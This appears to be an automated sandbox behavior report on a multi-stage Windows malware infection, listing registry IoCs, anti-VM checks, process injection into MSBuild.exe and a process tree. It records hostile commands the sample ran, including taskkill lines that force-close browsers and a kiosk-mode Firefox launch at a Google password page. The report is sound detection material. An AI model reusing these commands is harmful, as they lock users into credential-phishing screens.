Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8af7805d2d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c9c2562d45.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	35b4c712c5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	322dd7b2d9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9a63f1a378.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	larBxd7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	16f4ede35a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UZPt0hR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
6004	timeout.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	440	Go-http-client/1.1

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
4504	taskkill.exe
1828	taskkill.exe
5192	taskkill.exe
1936	taskkill.exe
3716	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000_Classes\Local Settings	rapes.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3716	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2164	1P22P6.exe
2164	1P22P6.exe
4768	rapes.exe
4768	rapes.exe
4584	2i0393.exe
4584	2i0393.exe
4584	2i0393.exe
4584	2i0393.exe
4584	2i0393.exe
4584	2i0393.exe
5532	MSBuild.exe
5532	MSBuild.exe
5532	MSBuild.exe
5532	MSBuild.exe
1504	MSBuild.exe
1504	MSBuild.exe
1504	MSBuild.exe
1504	MSBuild.exe
2356	9a63f1a378.exe
2356	9a63f1a378.exe
2356	9a63f1a378.exe
2356	9a63f1a378.exe
2356	9a63f1a378.exe
2356	9a63f1a378.exe
3204	rapes.exe
3204	rapes.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4900	16f4ede35a.exe
4900	16f4ede35a.exe
4900	16f4ede35a.exe
4900	16f4ede35a.exe
4560	rapes.exe
4560	rapes.exe
5892	powershell.exe
5892	powershell.exe
5892	powershell.exe
6592	Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE
6592	Temp93YIMPIYOW79EZLDENBOJ3SXCG3CR7IH.EXE
5688	322dd7b2d9.exe
5688	322dd7b2d9.exe
5688	322dd7b2d9.exe
5688	322dd7b2d9.exe
5688	322dd7b2d9.exe
5688	322dd7b2d9.exe
6708	MSBuild.exe
6708	MSBuild.exe
6708	MSBuild.exe
6708	MSBuild.exe
7192	powershell.exe
7192	powershell.exe
7192	powershell.exe
3652	powershell.exe
3652	powershell.exe
3652	powershell.exe
5004	MSBuild.exe
5004	MSBuild.exe
5004	MSBuild.exe
5004	MSBuild.exe
6196	rapes.exe
6196	rapes.exe
13112	powershell.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
656	Process not Found
656	Process not Found
6632	tzutil.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
7072	UZPt0hR.exe
7072	UZPt0hR.exe
7072	UZPt0hR.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
10216	chrome.exe
10216	chrome.exe

Suspicious use of AdjustPrivilegeToken 37 IoCs

description	pid	Process
Token: SeDebugPrivilege	1612	MSBuild.exe
Token: SeDebugPrivilege	4504	taskkill.exe
Token: SeDebugPrivilege	1828	taskkill.exe
Token: SeDebugPrivilege	5192	taskkill.exe
Token: SeDebugPrivilege	1936	taskkill.exe
Token: SeDebugPrivilege	3716	taskkill.exe
Token: SeDebugPrivilege	516	firefox.exe
Token: SeDebugPrivilege	516	firefox.exe
Token: SeDebugPrivilege	5892	powershell.exe
Token: SeDebugPrivilege	7192	powershell.exe
Token: SeDebugPrivilege	7656	RYZusWg.exe
Token: SeDebugPrivilege	3652	powershell.exe
Token: SeDebugPrivilege	516	firefox.exe
Token: SeDebugPrivilege	516	firefox.exe
Token: SeDebugPrivilege	516	firefox.exe
Token: SeLoadDriverPrivilege	6632	tzutil.exe
Token: SeDebugPrivilege	13112	powershell.exe
Token: SeDebugPrivilege	2836	ZSoeRVBe.exe
Token: SeDebugPrivilege	4720	IsValueCreated.exe
Token: SeDebugPrivilege	8912	aspnet_compiler.exe
Token: SeDebugPrivilege	11956	tasklist.exe
Token: SeDebugPrivilege	12040	tasklist.exe
Token: SeDebugPrivilege	6476	powershell.exe
Token: SeLockMemoryPrivilege	2400	AddInProcess.exe
Token: SeLockMemoryPrivilege	2400	AddInProcess.exe
Token: SeDebugPrivilege	6940	MSBuild.exe
Token: SeDebugPrivilege	212	powershell.exe
Token: SeShutdownPrivilege	7468	chrome.exe
Token: SeCreatePagefilePrivilege	7468	chrome.exe
Token: SeShutdownPrivilege	7468	chrome.exe
Token: SeCreatePagefilePrivilege	7468	chrome.exe
Token: SeShutdownPrivilege	7468	chrome.exe
Token: SeCreatePagefilePrivilege	7468	chrome.exe
Token: SeShutdownPrivilege	7468	chrome.exe
Token: SeCreatePagefilePrivilege	7468	chrome.exe
Token: SeLockMemoryPrivilege	5592	AddInProcess.exe
Token: SeLockMemoryPrivilege	5592	AddInProcess.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
4296	8af7805d2d.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
5652	c9c2562d45.exe
5652	c9c2562d45.exe
5652	c9c2562d45.exe
13096	Jordan.com
13096	Jordan.com
13096	Jordan.com
2400	AddInProcess.exe
7356	amnew.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
7468	chrome.exe
5592	AddInProcess.exe
10216	chrome.exe
10216	chrome.exe
10216	chrome.exe
10216	chrome.exe
10216	chrome.exe
10216	chrome.exe
10216	chrome.exe
10216	chrome.exe
10216	chrome.exe

Suspicious use of SendNotifyMessage 29 IoCs

pid	Process
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
4296	8af7805d2d.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
516	firefox.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
4296	8af7805d2d.exe
5652	c9c2562d45.exe
5652	c9c2562d45.exe
5652	c9c2562d45.exe
13096	Jordan.com
13096	Jordan.com
13096	Jordan.com

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
516	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5040 wrote to memory of 4504	5040	random.exe	88
PID 5040 wrote to memory of 4504	5040	random.exe	88
PID 5040 wrote to memory of 4504	5040	random.exe	88
PID 4504 wrote to memory of 2164	4504	x2T29.exe	90
PID 4504 wrote to memory of 2164	4504	x2T29.exe	90
PID 4504 wrote to memory of 2164	4504	x2T29.exe	90
PID 1620 wrote to memory of 4060	1620	cmd.exe	92
PID 1620 wrote to memory of 4060	1620	cmd.exe	92
PID 1116 wrote to memory of 5516	1116	cmd.exe	93
PID 1116 wrote to memory of 5516	1116	cmd.exe	93
PID 2164 wrote to memory of 4768	2164	1P22P6.exe	97
PID 2164 wrote to memory of 4768	2164	1P22P6.exe	97
PID 2164 wrote to memory of 4768	2164	1P22P6.exe	97
PID 4504 wrote to memory of 4584	4504	x2T29.exe	98
PID 4504 wrote to memory of 4584	4504	x2T29.exe	98
PID 4504 wrote to memory of 4584	4504	x2T29.exe	98
PID 4768 wrote to memory of 4372	4768	rapes.exe	104
PID 4768 wrote to memory of 4372	4768	rapes.exe	104
PID 4372 wrote to memory of 5532	4372	VrQSuEQ.exe	105
PID 4372 wrote to memory of 5532	4372	VrQSuEQ.exe	105
PID 4372 wrote to memory of 5532	4372	VrQSuEQ.exe	105
PID 4372 wrote to memory of 5532	4372	VrQSuEQ.exe	105
PID 4372 wrote to memory of 5532	4372	VrQSuEQ.exe	105
PID 4372 wrote to memory of 5532	4372	VrQSuEQ.exe	105
PID 4372 wrote to memory of 5532	4372	VrQSuEQ.exe	105
PID 4372 wrote to memory of 5532	4372	VrQSuEQ.exe	105
PID 4372 wrote to memory of 5532	4372	VrQSuEQ.exe	105
PID 4768 wrote to memory of 3404	4768	rapes.exe	108
PID 4768 wrote to memory of 3404	4768	rapes.exe	108
PID 3404 wrote to memory of 1612	3404	5uMVCoG.exe	109
PID 3404 wrote to memory of 1612	3404	5uMVCoG.exe	109
PID 3404 wrote to memory of 1612	3404	5uMVCoG.exe	109
PID 3404 wrote to memory of 1612	3404	5uMVCoG.exe	109
PID 3404 wrote to memory of 1612	3404	5uMVCoG.exe	109
PID 3404 wrote to memory of 1612	3404	5uMVCoG.exe	109
PID 3404 wrote to memory of 1612	3404	5uMVCoG.exe	109
PID 3404 wrote to memory of 1612	3404	5uMVCoG.exe	109
PID 4768 wrote to memory of 388	4768	rapes.exe	110
PID 4768 wrote to memory of 388	4768	rapes.exe	110
PID 388 wrote to memory of 1504	388	11d3255062.exe	111
PID 388 wrote to memory of 1504	388	11d3255062.exe	111
PID 388 wrote to memory of 1504	388	11d3255062.exe	111
PID 388 wrote to memory of 1504	388	11d3255062.exe	111
PID 388 wrote to memory of 1504	388	11d3255062.exe	111
PID 388 wrote to memory of 1504	388	11d3255062.exe	111
PID 388 wrote to memory of 1504	388	11d3255062.exe	111
PID 388 wrote to memory of 1504	388	11d3255062.exe	111
PID 388 wrote to memory of 1504	388	11d3255062.exe	111
PID 4768 wrote to memory of 2356	4768	rapes.exe	112
PID 4768 wrote to memory of 2356	4768	rapes.exe	112
PID 4768 wrote to memory of 2356	4768	rapes.exe	112
PID 4768 wrote to memory of 4820	4768	rapes.exe	118
PID 4768 wrote to memory of 4820	4768	rapes.exe	118
PID 4768 wrote to memory of 4296	4768	rapes.exe	122
PID 4768 wrote to memory of 4296	4768	rapes.exe	122
PID 4768 wrote to memory of 4296	4768	rapes.exe	122
PID 4296 wrote to memory of 4504	4296	8af7805d2d.exe	123
PID 4296 wrote to memory of 4504	4296	8af7805d2d.exe	123
PID 4296 wrote to memory of 4504	4296	8af7805d2d.exe	123
PID 4296 wrote to memory of 1828	4296	8af7805d2d.exe	126
PID 4296 wrote to memory of 1828	4296	8af7805d2d.exe	126
PID 4296 wrote to memory of 1828	4296	8af7805d2d.exe	126
PID 4296 wrote to memory of 5192	4296	8af7805d2d.exe	128
PID 4296 wrote to memory of 5192	4296	8af7805d2d.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2672
- C:\Windows\SysWOW64\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:9060

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3628
- C:\Users\Admin\AppData\Local\Temp\random.exe
  "C:\Users\Admin\AppData\Local\Temp\random.exe"
  2⤵
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5040
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\x2T29.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\x2T29.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4504
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1P22P6.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1P22P6.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2164
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4768
      - C:\Users\Admin\AppData\Local\Temp\10472140101\VrQSuEQ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10472140101\VrQSuEQ.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4372
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5532
      - C:\Users\Admin\AppData\Local\Temp\10475710101\5uMVCoG.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10475710101\5uMVCoG.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3404
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1612
      - C:\Users\Admin\AppData\Local\Temp\10476500101\11d3255062.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476500101\11d3255062.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:388
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1504
      - C:\Users\Admin\AppData\Local\Temp\10476510101\9a63f1a378.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476510101\9a63f1a378.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2356
      - C:\Users\Admin\AppData\Local\Temp\10476520101\269f4c57f2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476520101\269f4c57f2.exe"
        6⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:4820
      - C:\Users\Admin\AppData\Local\Temp\10476530101\8af7805d2d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476530101\8af7805d2d.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:4296
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4504
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1828
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5192
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1936
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3716
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:224
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:516
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2016 -prefsLen 27099 -prefMapHandle 2020 -prefMapSize 270279 -ipcHandle 2096 -initialChannelId {d2e3b109-78fe-4ee7-b3dd-17fc40309b64} -parentPid 516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.516" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        9⤵
        
        PID:264
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2504 -prefsLen 27135 -prefMapHandle 2508 -prefMapSize 270279 -ipcHandle 2516 -initialChannelId {35ce0a4d-d092-4a5e-8db1-15c5e3a94159} -parentPid 516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        9⤵
        
        PID:3276
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3880 -prefsLen 25213 -prefMapHandle 3884 -prefMapSize 270279 -jsInitHandle 3888 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3896 -initialChannelId {83227be5-81ea-413d-95b3-029582c6ab19} -parentPid 516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        9⤵
        Checks processor information in registry
        
        PID:8
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4044 -prefsLen 27325 -prefMapHandle 4048 -prefMapSize 270279 -ipcHandle 4144 -initialChannelId {a149e6ff-2ccf-4702-abd3-9070cd80503e} -parentPid 516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.516" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        9⤵
        
        PID:4904
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3232 -prefsLen 34824 -prefMapHandle 3148 -prefMapSize 270279 -jsInitHandle 3152 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2752 -initialChannelId {9c4bb382-0627-42be-8795-8c8fd645b516} -parentPid 516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        9⤵
        Checks processor information in registry
        
        PID:1788
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5160 -prefsLen 34905 -prefMapHandle 5164 -prefMapSize 270279 -ipcHandle 5144 -initialChannelId {a9c608b0-4a4b-4a17-9c7e-cf6963f83aea} -parentPid 516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        9⤵
        Checks processor information in registry
        
        PID:7276
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5280 -prefsLen 32845 -prefMapHandle 5284 -prefMapSize 270279 -jsInitHandle 5288 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5296 -initialChannelId {9de64419-26b5-4885-bce7-955844397ae6} -parentPid 516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        9⤵
        Checks processor information in registry
        
        PID:7508
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5496 -prefsLen 32845 -prefMapHandle 5500 -prefMapSize 270279 -jsInitHandle 5504 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5284 -initialChannelId {0a03bd6d-9500-4b21-8670-167e6e998734} -parentPid 516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        9⤵
        Checks processor information in registry
        
        PID:7544
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5656 -prefsLen 32845 -prefMapHandle 5660 -prefMapSize 270279 -jsInitHandle 5664 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5672 -initialChannelId {305ccf14-5df5-4e07-9d21-8d08849e4dad} -parentPid 516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        9⤵
        Checks processor information in registry
        
        PID:7556
        
        C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\664f65af-1946-482f-acc8-57e0f219c24d.dmp"
        9⤵
        
        PID:8800
      - C:\Users\Admin\AppData\Local\Temp\10476540101\4cc6558e87.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476540101\4cc6558e87.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1904
        
        C:\Users\Admin\AppData\Local\Temp\272.exe
        
        "C:\Users\Admin\AppData\Local\Temp\272.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1840
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A65D.tmp\A65E.tmp\A65F.bat C:\Users\Admin\AppData\Local\Temp\272.exe"
        8⤵
        
        PID:6056
        
        C:\Users\Admin\AppData\Local\Temp\272.exe
        
        "C:\Users\Admin\AppData\Local\Temp\272.exe" go
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2572
        
        C:\Windows\system32\cmd.exe
        
